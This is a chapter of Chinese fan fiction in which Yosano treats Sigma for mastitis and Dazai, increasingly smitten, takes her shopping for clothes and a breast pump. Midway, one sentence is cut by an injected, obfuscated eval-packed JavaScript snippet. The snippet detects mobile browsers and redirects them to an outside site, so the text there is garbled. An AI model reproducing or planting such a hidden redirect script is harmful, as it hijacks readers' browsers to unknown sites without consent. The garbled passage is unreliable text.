三年,严格来说,她只是个三岁的孩子。 可现在,她已经是两个孩子的母亲。 与谢野晶子的指尖微微收紧。 费奥多尔,果戈里……那些名字在她脑海里闪过,带着冰冷的重量。 罪孽深重。这个念头清晰而锋利。 与谢野晶子没有表现出来,只是语气放软了些:“你刚生育完不久,又经历了这么多事,身体负荷太大。乳腺炎需要及时处理,不然会发展成脓肿。” 她走到柜子前,取出抗生素,“可以用吸奶器排空,缓解胀痛,再配合抗生素治疗。” “之后我让太宰带你去买。” 西格玛听着陌生的词汇,眼神里闪过一丝茫然:“吸奶器……是什么?” 与谢野晶子的动作顿住了。 她转过身,看着西格玛那双纯粹的、带着困惑的眼睛,忽然意识到了什么。 “你不知道吸奶器?”她试探着问,“那你怎么给孩子喂奶的?” “直接……”西格玛的声音越来越小,“喂的。” “没有人教过你怎么护理吗?涨奶的时候怎么办?怎么判断胸部是否有炎症了?怎么预防乳腺炎?” 西格玛摇了摇头。 她的表情很平静,那种平静不是从容,而是纯粹的无知——她真的不知道。 西格玛轻轻地说:“……靠育儿书籍,自己学习。” 她就像一张被强行涂抹了复杂色彩的白纸。 那些色彩都是别人赋予的:母亲的身份,敌人的标签,工具的定义……可最基本的、属于一个普通人的常识,却一片空白。 与谢野晶子深吸一口气,压下心中翻涌的情绪。 她拉过椅子坐下,用尽可能平和的语气开始解释。 她说了哺乳期的注意事项,说了乳腺炎的成因和处理方法,说了吸奶器的用法。 西格玛听得很认真,偶尔点头,偶尔提问,问题简单到让人心碎。 “为什么胸口会涨?” “孩子吸不完怎么办?” “那个……吸奶器,不会痛吗?” 与谢野晶子一一回答。 她看着西格玛指尖揪着衣摆微微收紧的模样,秀美的面容,还带着些许懵懂。 晨光从窗户斜斜照进来,落在她的长发上,给她整个人镀上了一层柔和的轮廓。 这个诞生只有三年的“孩子”,被迫承担了太多她从未准备承担的东西。 “好了,这些你之后慢慢学。” 与谢野晶子站起身,决定换个话题,再聊下去,她怕自己会控制不住情绪,“你先换身衣服吧。这衬衫太大了,行动不方便。” 她走到医疗室角落的柜子前,打开门,里面挂着她备用的几件衣服。 与谢野晶子挑了一件深蓝色的连衣裙,又找出内衣,递给西格玛:“试试看合不合身。” 西格玛接过,犹豫了一下,还是走到屏风后换衣服。 与谢野晶子在外面整理器械,听见窸窸窣窣的声音,然后是短暂的沉默。 “与谢野医生……”屏风后传来西格玛迟疑的声音。 “怎么了?” “这件衣服……胸口有点紧。” 与谢野晶子走过去,看见西格玛正有些窘迫地揪着连衣裙的领口。 那件裙子是她的尺码,可穿在西格玛身上,腰腹明显宽了一大截,胸口却绷得紧紧的,扣子几乎要崩开。 与谢野晶子愣了一下,随即明白过来。她重新翻找柜子,找出另一件之前买错尺码、一直没穿的淡蓝色针织裙。 那件因为胸口设计得太大,她从来没穿过。 这次合适了。 虽然腰腹还是松,但胸口至少能塞进去。 只是内衣……与谢野晶子的尺码,对西格玛来说,实在是太小了。 西格玛只能穿着太宰治那件背心在里面,再穿上那件裙子。 “先凑合穿吧。”与谢野晶子难得有些无奈,她看着西格玛换好裙子走出来的样子,忍不住感慨,“你这身材真是……太矛盾了。” 娇小纤细的骨架,看起来脆弱得仿佛一折就断,偏偏胸口丰满得连她都忍不住多看两眼。 那种反差在她身上形成了一种奇异的美感。 脆弱与丰饶的矛盾结合,像一株在风雪中盛放的花。 “比模特还要好的比例。”与谢野晶子半开玩笑地说,“就是买衣服可能有点麻烦。” 西格玛低头看了看自己,耳根又红了。她轻轻拉平裙摆,手指无意识地摩挲着布料。 治疗和换衣都结束后,西格玛坐在检查床边,手指轻轻绞在一起。 她沉默了很久,久到与与谢野晶子以为她要休息时,她才终于抬起头,声音很轻,却清晰地问: “中岛敦……在哪里?” 与谢野晶子正在整理病历的手顿了一下。 她转过身,看着西格玛——那双淡粉色的眼睛里没有试探,没有算计,只有一种纯粹的、近乎天真的询问。 与谢野晶子想了想,决定说实话:“他去处理天人五衰事件结束后的一些混乱了。有些残余势力还在活动,需要清理。” 西格玛点了点头,没有追问细节。她的指尖微微收紧,抓住裙摆的布料,捏出了一小片褶皱。 但她的表情很平静,平静得仿佛刚才那个问题只是随口一问。 “……原来如此。”她轻声说。 晨光透过窗户洒进来,落在她浅色的长发上,落在她新换的淡蓝色裙子上,落在她交叠的、微微用力的手指上。 医疗室里很安静,只有窗外偶尔传来的鸟鸣,和远处街道隐隐约约的车流声。 一个新的早晨,开始了。 侦探社的办公区已经渐渐热闹起来,键盘敲击声、文件翻动声与偶尔的交谈声交织,构成了日常的喧嚣。 太宰治坐在靠窗的沙发上,手里摊着一本随意拿起的杂志,书页半天没有翻动过。 他的目光并未落在那些杂乱的文字与图片上,反而不受控制地在医疗室的门上反复徘徊。 忽然,医疗室的门传来一丝轻微的响动,像是有人正要推开。 太宰治指尖微微一顿,几乎是下意识地,将目光重新拉回手中的杂志。 门缓缓敞开,直到完全露出内里的身影。 与谢野晶子率先走了出来,身后跟着换好衣服的西格玛。 太宰治的目光几乎立刻从手中的无聊杂志上移开,落在了那个身影上。 淡蓝色的连衣裙像一片洗过的晴空,衬得她雪白与淡紫交织的长发愈发清新,也让她脸上病弱的苍白显得不那么刺目。 只是外面依旧套着那件属于中原中也的、明显风格不符的棕色短外套。 “我的衣服她穿不合身,还是得买新的才行。” 与谢野晶子直截了当地对太宰治说,同时将一张便条递过去,“还有,她低烧的原因是乳腺炎,需要用药和合适的工具处理。这是需要的药品和物品清单,药品我这里能解决,吸奶器得去母婴店买才行。太宰,你带她去吧。” 她的语气自然,安排妥当,仿佛这只是一项再普通不过的委托任务。 但那双锐利的眼睛扫过太宰治瞬间专注起来的神情,以及他几乎没怎么掩饰地落在西格玛身上的视线时,眼底掠过一丝了然。 这个对什么都似乎漫不经心、习惯性逃避责任的家伙,明显对这个身世可怜、处境特殊的姑娘有着超乎寻常的关注,甚至可以说是好感。 与谢野晶子不介意顺手推一把,在她看来,西格玛确实需要有人稳妥地引导和照顾,而太宰治……如果他真的肯认真起来,或许并非坏事。 太宰治接过便条,目光却依旧徘徊在西格玛身上。 她穿着新裙子有些不自在地站在与谢野身后,手指无意识地捏着裙边,眼神低垂,似乎还在消化刚才治疗和谈话中涌入的大量信息。 然而,“吸奶器”这个关键词,以及与之相连的医嘱,足以让太宰治快速理解现状——她正在哺乳期。 这个认知让太宰治心中那点原本轻盈的、带着些许新奇与愉悦的关注,陡然沉了沉,变得复杂起来。 “好啊,交给我吧。” 他扬起惯常的笑容应下,声音轻松,仿佛这只是一个简单的购物任务。 但心底,费奥多尔和果戈里的名字再次掠过,带着比之前更清晰的寒意。 他们对西格玛所做的事,留下的痕迹,比他最初预想的还要具体、还要糟糕。 将一个诞生仅三年的“存在”推入母亲的角色,留下沉重的生理负担和心理创伤……这远非一句“罪孽深重”可以简单概括。 他走到西格玛面前,微微弯下腰,让视线与她齐平,语气放得柔和:“走吧,西格玛。我们去买些你需要的东西。” 西格玛抬起眼,轻轻点了点头。 商业街不远,步行就可以到达。 清晨的阳光暖融融的,街道两旁的樱花已开始绽放,风一吹,便有细碎的花瓣如雪般簌簌落下。 太宰治领着西格玛走进一家风格简约的女装店。 店员热情地迎上来,目光在两人之间转了一圈,自然地落在西格玛身上:“欢迎光临!是为这位小姐选衣服吗?请问需要什么尺码呢?” 西格玛怔了一下,似乎在努力回忆。 片刻后,她报出了一串数字,精确到厘米,语气平淡得像在背诵资料:“上衣,胸围是……腰围……肩宽……裤装或裙装,腰围……臀围……” 这些数字如此流利地从她口中吐出,与她此刻略微迷茫的神情形成微妙反差。 报完尺寸,她的手指不自觉地揪了揪身上连衣裙的衣摆,眼睫轻颤了一下。 太宰治注意到这个小动作,几乎能想象出当时的场景—— 冰冷的环境,费奥多尔拿着软尺,“测量”着的她,而西格玛只能被动地接受,将这些数字刻入记忆。 店员并未察觉这细微的异样,只是惊叹道:“啊,这比例真好!身材太棒了!小姐您稍等,我这就去拿几件适合您尺码和气质的新款来试试。” 她转身去取衣服,又笑着对太宰治说:“先生您真有眼光,女朋友这么漂亮。” 西格玛愣了愣,急忙开口:“不,我们不是——” “啊呀,解释起来会很麻烦的哦。”太宰治适时地、用一种略带困扰又隐含笑意的语气打断了她,朝她眨了眨眼,“店员小姐也只是热心嘛。” 西格玛张了张嘴,看着太宰治那双含着戏谑却又深邃的鸢色眼眸,最终把解释的话咽了回去。 她低下头,接过店员抱来的几件衣服,小声道了谢,便匆匆走进了更衣间。 太宰治站在挂满衣架的展示区旁,手指漫不经心地拨弄着一件衬衫的袖口,嘴角却不受控制地向上扬起。 真是……愉悦的误会。 心脏的位置,传来一阵陌生而清晰的悸动。 从这个“误会”中剥离出的,不仅仅是恶作剧得逞般的趣味,还有一种更深层的、连他自己都感到些许惊讶的……渴望。 原来如此吗? 渴望和西格玛建立那样的关系——被旁人理所当然地视作一体,可以名正言顺地走在她的身边,照顾她,拥有她…… 仅仅是想象一下那样的可能性,一股混杂着暖意、酸涩和某种近乎战栗的愉悦感。 就像春日破冰的溪流,悄然漫过心田,在他常年荒芜的心房深处荡漾开细密的波纹。 这感觉太过陌生,又太过鲜明。 让他既想探究,又想逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193640|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避。 就在这时,更衣间的帘子被轻轻拉开。 西格玛走了出来。 她换上了一件米白色的针织衫,搭配一条浅咖色的格纹半身裙,比之前的连衣裙更添了几分柔软和日常感。 衣服很合身,恰到好处地勾勒出她纤细的腰身和优美的曲线。 她似乎有些紧张,手指揪着裙侧的布料,眼睫低垂着,像受惊的蝶翼般微微颤动。 然后,西格玛缓缓抬起眼,目光有些犹豫地,望向了太宰治的方向。 那双淡粉色的眼眸里,映着店内的灯光,清澈见底,又带着一丝不易察觉的、寻求认可的怯意。 脸颊上还残留着未褪尽的红晕,不知是因为未完全消退的低烧,还是因为刚才的羞涩,抑或是试穿新衣带来的局促。 太宰治看着她。 呼吸在那一刹有了细微的凝滞。 晨光般清新的颜色包裹着她,柔软的面料贴合着她身体的线条。 她站在那里,带着如同含羞待放的花苞,毫无防备地,撞进他的视野里。 真是的…… 太宰治的喉结轻轻滚动了一下。 这让他怎么移得开眼啊? 心底那个带着笑意的叹息,最终化为嘴角一个真实而温柔的弧度,浅浅地荡漾开来。 他走上前,声音是自己都未察觉的轻柔:“很合适,很好看。” 西格玛愣了愣,指尖还揪着裙侧的布料,眼睫轻轻颤了颤,像是没料到他会说得这么直白。 她垂下眼眸,长长的睫毛在眼下投出一小片浅影,小声“嗯”了一声,转身又走回了更衣室。 片刻后,西格玛抱着一件棕色短外套出来,正是中原中也的那件。 她指尖捏着衣角,站在原地,像是在认真思考到底要不要穿。 毕竟这是别人的衣服,之后要还给人家的。 太宰治站在原地,脑海里还在回放她刚才含羞垂下眼眸的模样。 ——那怯生生的、带着红晕的模样,就像是红透了的樱桃。 直到她抱着外套站在那儿,他才回过神,目光落在她手中那件略显硬朗的短外套上。 没等她纠结完,太宰治便上前一步,极其自然地伸手接过。 “既然来看衣服,外套什么的,也顺带一起买了吧。” 他指尖捏着外套的肩线,语气轻松,却带着不容拒绝的温和,“这件……就先不用了。” 他没有解释为什么“不用了”,只是将那件不属于这里的外套随意搭在臂弯。 之后的时间里,西格玛又陆续试了好几套衣服。 浅杏色的收腰连衣裙衬得她身姿窈窕,奶蓝色的休闲套装添了几分灵动俏皮,烟灰色的针织连衣裙包裹着身形,又多了些清冷温婉的气质。 每一套穿在身上,都像是为她量身定做一般。 她刚从试衣间走出来,还没来得及打量镜中的自己,就听见太宰治的声音响起,带着毫不掩饰的赞赏:“这件也很好看,记下。” 次数多了,西格玛看着他一件件吩咐店员打包,眉头轻轻蹙了起来,犹豫地开口:“太宰先生,不用这么多的……” 太宰治转头看她,鸢色的眼眸里盛着柔和的笑意,指尖漫不经心地划过旁边衣架上的衣料,语气理所当然:“因为这些穿在你身上,都很好看啊。” 他的目光太过坦荡,语气又带着不容置疑的笃定,西格玛张了张嘴,最终还是把剩下的话咽了回去,只是脸颊又悄悄染上了一层薄红。 两人逛到店铺深处,才发现这里还辟出了一块区域卖睡衣。 柔和的灯光打在各式精致的睡衣上,蕾丝与丝绸的光泽交织,透着几分慵懒的缱绻。 太宰治的目光扫过货架,很快就落定在一件带着蕾丝花边的睡裙上。 奶白色的面料轻盈柔软,领口和裙摆缀着精致的镂空蕾丝,裙摆垂坠下来,带着恰到好处的飘逸感。 “睡衣自然也是得要的。”他说着,径直伸手取下那件睡裙,递到西格玛面前。 西格玛的目光落在那件睡裙上,眼睫轻轻颤了颤,指尖下意识地蜷缩了一下,片刻后,她抬起眼看向太宰治,轻轻点了点头。 太宰治勾了勾唇角,将手中的睡裙连同之前挑好的一大堆衣服一同交给店员,语气轻快:“麻烦这款睡衣再拿一件相同的,全部都打包起来,结账。” 片刻后,他拎起店员打包好的几大袋衣物,沉甸甸的袋子在指尖晃了晃,却丝毫不见费力的模样。 然后领着西格玛,像是早已计划好一般,走向了另一家以风衣和外套闻名的女装店。 在那家店里,太宰治的目光掠过琳琅满目的款式,几乎没怎么犹豫,便选定了一件浅米色的长款风衣。 面料轻盈垂顺,剪裁利落优雅。 “试试这个。” 他递给西格玛,指尖拂过衣料时,眸底闪过一丝不易察觉的笑意。 这款式和他身上穿的那件沙色风衣几乎一模一样,不过是颜色深浅之别,就像是天生一对的情侣款。 当西格玛换上那件浅米色风衣走出来时,太宰治眼底掠过一丝满意的光。 衣服很合身,衬得她愈发高挑清丽。他什么也没说,只是将这件风衣递给店员,径直结了账。 “穿上吧,外面有风。” 太宰治说着,指尖轻轻拂过风衣的领口,替西格玛将微微翘起的边角抚平,示意她披上。 西格玛只是愣愣地接受,将那件还带着新衣气息的浅米色风衣穿在了身上。 两人并肩站在一起,相似款式的风衣,一浅一深,微妙地透着某种和谐。 随后,他们来到了最让西格玛手足无措,也让太宰治不得不收敛随性、多添几分“礼貌”的地方——内衣店。 店内货架与衣架上,挂满了各式各样、色彩缤纷的内衣,蕾丝、绸缎、简约、性感……看得人眼花缭乱。 西格玛那染上薄薄红晕的面颊,更像是樱桃了。 太宰治倒还算“绅士”,自觉退到靠近门口的区域,目光礼貌地投向门外熙攘的街道,仿佛对店内琳琅满目的风光毫无兴趣。 只是耳根处那一丝不易察觉的微红,泄露了他并非全然平静的心绪,指尖也无意识地摩挲着风衣口袋的边缘。 有经验的店员立刻察觉到西格玛的局促,笑意温和地迎了上来,放低声音亲切询问:“小姐,请问需要什么尺码的呢?” 西格玛的声音细若蚊蚋,反复确认般低声重复了那串精确的数字。 店员眼中飞快闪过一丝惊叹,随即又敛起神色,也压低了声音回应。 只是那音量,恰好能让门口听力过人的某人捕捉得一清二楚:“32G……真是傲人的尺码呢,小姐身材真好。” 太宰治的背脊几不可查地僵直了一瞬。 他当然知道。 为她处理伤口时,那被绷带束缚却依然惊心动魄的弧度,以及指尖偶尔不经意触及的柔软触感……记忆不受控制地翻涌上来。 他下意识地跟着刚刚听到的尺码,在心里默念起了字母:A、B、C、D……思绪像脱缰的野马,滑向更不该深入的领域。 那触感…… 嗯,不能再想了。 他闭了闭眼,强行将飘远的注意力拉回门外,落在一片慢悠悠飘落的樱花花瓣上。 看着它打着旋儿,轻轻落在街角的石板路上。 这时,西格玛已经红着脸,迅速挑好了内衣,依旧是黑色蕾丝款式。 她拿着选好的衣物,先行脱下身上新买的米色风衣,准备走向试衣间。 太宰治适时上前,极其自然地伸手:“风衣我帮你拿着吧。” 他接过那件还残留着她体温的浅米色风衣,指尖仿佛也沾染了那抹暖意。 试衣过程短暂而安静。 西格玛出来时,脸上的红晕未消,小声说:“合适的。” 太宰治微笑着上前结账。 在店员包装时,他像是忽然想起什么,用再自然不过的语气提议:“对了,为了换洗方便,同款同尺码的,麻烦再拿一件吧?” 店员了然地笑着点头:“好的,先生考虑得真周到。” 她动作利落地取出另一件一模一样的黑色蕾丝内衣,包装好,连同之前的一起放进精美的纸袋。 递过来时,忍不住又笑着夸赞:“您真是有福气,女朋友这么漂亮,身材又这么好。” 西格玛下意识地又想张口解释,但想到太宰治之前那句“解释起来会很麻烦”,到了嘴边的话又咽了回去,只是抿了抿唇,长长的睫毛垂下,遮住了眼底复杂的情绪。 太宰治笑容不变,伸手拎过那个装着私密衣物的纸袋,指尖与店员递来的袋绳轻触。 目光却温柔地落在西格玛低垂的发顶,声音清晰地回应道: “是啊,我很幸运。” 买完必要的衣物,太宰治又带着西格玛前往附近的母婴用品店。 清单上还有吸奶器需要购买。 通往母婴店的街道更加安静,路旁的樱花树开得正盛,粉白的花朵团团簇簇。 风过时,花瓣便纷纷扬扬地落下,在地上铺了一层浅浅的绒毯。 他们并肩走在樱花雨中,脚步声很轻,气氛却比来时沉静了许多。 太宰治没有主动询问关于孩子的话题。那是西格玛心中最沉重的一部分,他不想贸然触碰。 然而,是西格玛自己开了口。 她的声音很轻,几乎要淹没在花瓣落地的细微声响里。 “我……拥有过家人。” 她顿了顿,像是在斟酌词汇,又像是在积蓄勇气,“是我,把他们带到这个‘地狱’里来的。都是我的错。” 太宰治脚步未停,只是侧耳倾听,目光落在前方飘旋的樱花上。 “比起和我一起生活,在父亲那边……或许对他们来说是更好的选择。” 西格玛的声音低了下去,带着清晰的自我否定,“我无法保护自己的孩子。我是个没用的人……不配做他们的母亲。” 她的手指下意识地抬起,轻轻环抱住自己的一侧手臂,那是一个透露出不安与自我保护意味的动作。 “孩子们……或许会走上和我一样的宿命。”她的声音越来越轻,最后几乎成了呓语,“……或许他们以后,再也不会记得我了。” 说完这句,她便沉默了,只是怔怔地抬起头,望着头顶不断飘落的樱花。 粉白的花瓣掠过她苍白的脸颊,落在她的发梢和肩头,又悄无声息地滑落。 她的眼神空茫而遥远,仿佛透过这春日的美景,看到了某个寒冷而绝望的尽头。 太宰治停下了脚步。 他转过身,面对着西格玛。樱花依旧在他们周围无声飘落,像一场凄美的雪。 他没有立刻说出安慰的话。那些轻飘飘的“不是你的错”或“未来会好起来”的言语,在此刻显得苍白无力。 他只是静静地看了她几秒,然后,伸出手,轻轻拂去她发梢的一片花瓣。 动作自然而轻柔,带着一种淡淡的温柔。 “走吧,”他最终开口,声音平稳,“先把需要的东西买好。其他的事情……慢慢来。” 他重新迈开步子,却有意放慢了速度,确保西格玛能跟上。 他没有试图去牵她的手,也没有再说更多。 只是陪她走在这条樱花道上,让沉默和陪伴本身,成为一种无声的支撑。 有些伤口太深,需要时间才能愈合。 而有些陪伴,或许可以从一次简单的购物,一场樱花雨中的同行开始。 26. 不晚 母婴店的门被推开时,门铃发出清脆的叮咚声。 店内是另一种氛围的世界。 柔和的灯光,浅色系的装潢,空气中飘着淡淡的奶粉和柔顺剂混合的气息。 货架上整齐排列着奶瓶、尿布、各色婴儿服饰,还有各种西格玛叫不出名字的育儿用具。 一位笑容亲切、围着浅粉色围裙的店员迎了上来:“欢迎光临!请问有什么可以帮您?” 太宰治将手中的便条递过去,语气是惯常的轻快,却巧妙地收敛了平日那点玩世不恭:“需要吸奶器,另外,” 他微微侧身,让出身后半步的西格玛,“具体型号和需求,可能需要根据这位小姐的实际情况来推荐。” 店员的目光落在西格玛身上,笑容更加柔和:“好的,没问题。方便问一下宝宝多大了吗?不同月龄的妈妈,适合的吸奶器款式和模式可能会有不同哦。” 西格玛的手指微微蜷缩了一下,声音很轻,却足够清晰:“一个……一岁七个月大了,另一个……六个月大。” 空气仿佛有瞬间的凝滞。 尽管早有心理准备,但亲耳听到这两个具体的、代表着鲜活生命与沉重责任的数字从她口中说出,太宰治的心还是像被看不见的手轻轻捏了一下。 两个孩子啊。 这个认知变得无比具象。一岁七个月,正是蹒跚学步、咿呀学语的年纪;六个月,或许刚刚会坐,对世界充满懵懂的好奇。 而他们的母亲,此刻正苍白着脸,站在陌生的母婴店里,为自己因他们而起的病痛购买治疗工具。 店员的专业素养让她没有露出任何异样,只是点点头:“明白了,是两位宝宝呢,妈妈辛苦了。考虑到您需要兼顾大宝和二宝,而且可能已经出现胀痛不适,我推荐这款双边电动吸奶器,效率高,力度调节档位多,也比较舒适。” 她热情地拿出样品讲解起来,西格玛听得很认真,偶尔点点头,苍白的脸上神情专注,又带着一种与这温馨环境格格不入的疏离感。 仿佛她只是在完成一项必须掌握的任务,而非沉浸在与孩子相关的甜蜜琐事中。 太宰治安静地站在一旁,目光落在西格玛低垂的睫毛上,又滑过她微微抿起的嘴唇。 他看着她仔细检查吸奶器的配件,听着店员讲解如何消毒、如何组装、不同模式的区别。 她的侧影在柔和的灯光下,像一帧定格在忧伤与坚韧交界处的画面。 很快选定了型号,太宰治利落地结了账。他将包装好的吸奶器盒子放入一个更大的手提袋,自然地拎在手中。 “让我来就好。” 他对着西格玛想要接过去的手轻轻摇头,嘴角勾起一个安抚的弧度。 重新走在飘落樱花的人行道上,两人之间依旧隔着约莫一拳的距离。 太宰治的目光几次悄然掠过那段空隙,看着樱花瓣偶尔落在她的发梢和肩头,又被微风拂去。 要是能更近点就好了。 这个念头再次无声地划过心底,带着微痒的渴望和一丝克制的涩意。 但他什么也没做,只是配合着她的步调,慢慢往回走。 回到武装侦探社时,推门的动静让正在埋头整理文件的国木田独步再次抬起头。 他的目光习惯性地扫过太宰治,随即落在紧随其后走进来的西格玛身上。 她换上了合身的新衣,浅米色的长款风衣与她清瘦的身形相得益彰,比之前那件不合体的宽大衬衫和硬朗短外套看起来舒适自在许多。 脸色似乎也因为得到了妥善治疗而缓和了一点点,虽然依旧苍白,但那种病弱的憔悴感减轻了。 更像是白梅了。 国木田独步心中闪过这个念头,经历了风雪,洗净尘埃,静静绽放。 他没有多言,只是用一贯平稳无波的语气说:“与谢野医生还在医疗室等你们。” “谢啦,国木田君~” 太宰治语气轻快,将几个购物袋随手放在一旁的沙发上,唯独将那个装着吸奶器的袋子单独拿起,递向西格玛。 “去吧,”他看着她,鸢色的眼眸里含着浅浅的笑意,声音也放柔了些,“与谢野医生在等你了。” 西格玛点了点头,接过袋子。指尖与他的短暂相触,带来一丝微弱的暖意。 她转身走向医疗室,抬手,轻轻敲了敲门。 “请进。”里面传来与谢野晶子清晰的声音。 推门进去,与谢野晶子正在整理药柜。她转过身,目光在西格玛身上停留了片刻,尤其是在那件浅米色风衣上顿了顿,眉梢几不可察地挑了一下。 这外套……和太宰治那件可真像。 想到是太宰治带她去买的,与谢野晶子立刻明白了其中那点不言而喻的小心思。 她眼底掠过一丝了然,但没点破,只是露出一个淡淡的、带着赞许的笑容。 “很适合你,”她说,语气真诚,“很漂亮。” 西格玛的脸颊微微泛红。她很少被人这样直接夸赞外表,尤其是在经历了那么多之后。 她有些不自在地垂下眼帘,轻轻说了声:“谢谢。” 随后,她将手中的袋子递过去。与谢野晶子接过来,取出里面的吸奶器包装盒,熟练地拆开,检查配件,然后开始一步步教西格玛如何使用。 她的讲解简洁明了,动作示范清晰,西格玛认真地听着,不时点头。 实践环节,与谢野晶子拉下医疗室里用来隔断的帘子,制造出一个相对私密的空间。 这个贴心的举动让西格玛愣了愣,随即心里涌起一阵细微的暖流。 她按照刚才学会的步骤,有些笨拙但认真地操作起来。 机械的轻微嗡鸣声中,胸口的胀痛感确实得到了明显的缓解。 那种紧绷的、带着灼热的沉重感,随着规律的抽取逐渐松解。 过了一会儿,她停下动作,看着吸奶器配套的两个瓶子都装满了乳白色的液体,微微出神。 快300毫升了。与谢野医生刚才说,这量不算少,说明确实堵了一阵。 她愣愣地看着那两瓶温热的母乳,透明的瓶壁上凝结着细小的水珠。 恍惚间,她仿佛看到了那两个小小的身影,闻到婴儿身上特有的奶香气。 心脏的位置传来一阵闷闷的疼,比任何伤口都要绵长。 或许……真的再也见不到面了。 这段沉郁的思绪并没有持续太久,帘子外传来与谢野晶子的询问:“怎么样?胸口的胀痛好些了吗?” 西格玛回过神,深吸一口气:“嗯,好很多了。”她拉开帘子,将瓶子示意给与谢野看。 与谢野晶子看了看量,点点头:“看来确实堵了些时间,及时排空会舒服很多。之后记得定时处理,配合吃药,炎症会慢慢消下去的。” 她拿出准备好的抗生素和维生素,看着西格玛服下,又配好了三天的药量递给她。 “吃完这些再来找我复查。”与谢野晶子交代道,“有任何不适随时过来。” 西格玛接过药,再次认真地道谢。她将使用过的吸奶器配件按要求清洗后收好,连同那两瓶母乳一起放回袋子。 提着袋子走出医疗室时,她感觉身体似乎轻松了一些,但心底那份空茫的重量,依旧沉甸甸地坠着。 太宰治仍坐在那张靠窗的沙发上,手里百无聊赖地翻着之前那本杂志,书页却几乎没动。 在西格玛开门出来的瞬间,他的目光便立刻投了过去,带着不易察觉的关切。 “感觉如何?”他起身走近。 “……好很多。” 西格玛如实回答,抬头看他。那双淡粉色的眼睛里依旧蒙着一层雾,但似乎比之前清亮了一点点。 她心中再次划过一丝微妙的波澜。 武装侦探社的人,都是这样吗? 从中岛敦,到太宰治,再到与谢野医生……他们对她这个曾经的“敌人”、麻烦的根源,释放出的善意直接而自然,甚至带着一种理所当然的包容。 这份意料之外的善意,让她无所适从,心底某处却又贪婪地汲取着这点温暖。 太宰治看着她有些怔忡的表情,笑了笑:“先回去休息一下吧。就算身体上的伤好了,精神上的疲劳还是存在的。” 他语气温和,带着一种令人放松的引导。 西格玛轻轻点了点头。 太宰治极其自然地从她手中接过那个略显沉重的袋子:“还是让我来吧。” 两人再次离开武装侦探社,坐上出租车。 窗外的街景向后流逝,樱花依旧在城市的角落静静飘落。 车厢内很安静,西格玛靠着车窗,似乎有些累了,闭目养神。 太宰治没有打扰她,只是目光偶尔落在她安静的侧脸上,然后移向窗外,不知在想些什么。 车子最终停在那栋熟悉的三层公寓楼下。 太宰治领着西格玛走上楼梯,回到那间他暂时安置她的住所。 进门后,他将手中的几个袋子妥善放好,尤其是那个装着吸奶器和母乳的袋子,放在了厨房料理台上较为阴凉的位置。 “你先休息,卧室在那边。”太宰治指了指卧室的门,随即又补充道,“我睡客房就好。” 西格玛看着他,嘴唇动了动,似乎想说什么,最终却只是低声道:“……谢谢。” “不用客气。”太宰治笑了笑,走到窗边,将窗帘拉开一些,让午后的阳光温柔地洒进来一些,“需要什么就告诉我。” 西格玛点了点头,走向卧室。关上门前,她回头看了一眼。 太宰治正背对着她,站在客厅中央,身影修长,沙色的风衣在阳光下显得格外柔和。 他微微仰头,看着窗外飘过的云,侧脸线条在光晕中有些模糊。 这个救了她,收留她,为她奔波,此刻将卧室让给她的男人,身上缠绕着太多她看不懂的迷雾。 却又在此刻,给予了她一片短暂而安稳的栖身之地。 门轻轻合上,隔绝出两个空间。 太宰治在原地站了一会儿,听着卧室里传来轻微的、仿佛终于放松下来的窸窣声响。 那声音很轻,像羽毛掠过心尖,却让整个公寓的空气都变得不同。 他垂眸看着脚下光斑移动的轨迹,什么也没做,只是低着头,任由某种庞杂的思绪在寂静中沉浮、凝聚。 窗外的樱花,还在不知疲倦地,静静飘落。 太宰治在客厅中央站了许久,像一尊突然被按下暂停键的雕塑。 直到卧室里所有细微的声响彻底归于平静,仿佛里面的那个人终于坠入了不安却必需的睡眠。 这时,他才像是重新被注入了动力,缓缓吐出一口气,开始动作。 太宰治走到沙发边,却没有立刻坐下,而是先俯身,将之前随意放在茶几上的几个购物袋,那些装着新裙子、内衣的袋子一一整理好,搁在角落。 动作不紧不慢,指尖拂过印着精致logo的纸袋表面,仿佛在确认什么。 最后,他的目光落在那个装着药和说明书的袋子上。 他拿起它,在沙发里坐下,就着窗外渐趋柔和的午后光线,仔细地阅读起那些服用说明、注意事项。 他的眉头微微蹙起,是一种罕见的、纯粹的专注,与平日里那种浮于表面的嬉笑或深不可测的谋划都不同。 每天三次,饭后服用,忌生冷…… 太宰治的手指无意识地沿着说明文字划过,脑海里却不受控制地勾勒出西格玛苍白着脸,乖乖吞下药片的模样。 啊…… 他知道她已经是两个孩子的母亲了。 这个事实像一枚沉入深水的石子,在他心底漾开一圈圈复杂难言的涟漪。 没有轻视,没有世俗的评判,只有一种更为沉重的东西——怜爱。 是的,怜爱。 为她过早被剥夺的选择,为她被迫承担的重负,为她在懵懂中摸索的母职,也为她此刻孤身一人承受着身体与思念的双重痛楚。 当一个人对另一个人感到怜爱,那他就离陷进去不远了。 太宰治清楚地知道这一点。 他洞察人心,包括自己的。这份清晰认知非但不能阻止情感的滋生,反而像催化剂,让那陌生的情愫在自我剖析的显微镜下无所遁形,疯狂蔓延。 所以呀。 他在心中无声地叹息,那叹息里却没有多少无奈,反而缠绕着一丝连自己都感到惊异的、近乎认命的柔软。 嘴角牵起一个近乎自嘲的、却又温柔无比的弧度。 鸢色的眼眸低垂,长长的睫毛在眼下投出浅浅的阴影。 蛊惑着我的心的西格玛小姐…… 他身体向后,缓缓靠进沙发柔软的靠背里,抬起一只手,手背轻轻搭在额头上,挡住了天花板的灯光。 指尖触及的皮肤微凉,却能感受到底下血液加速流动带来的细微温度。 真是位不折不扣的魔女啊。 这个称呼毫无贬义,甚至带着一种心甘情愿的、被俘获的叹息。 她不曾有意施展任何伎俩,只是存在着。 带着她的伤痕、她的纯白、她矛盾的特质和沉重的过往,就这样突兀地闯入他精心构建的、对一切皆保持疏离的世界里。 然后……轻而易举地,让他方寸大乱。 此刻的西格玛和他只隔了一扇门。 一门之隔,两个世界。 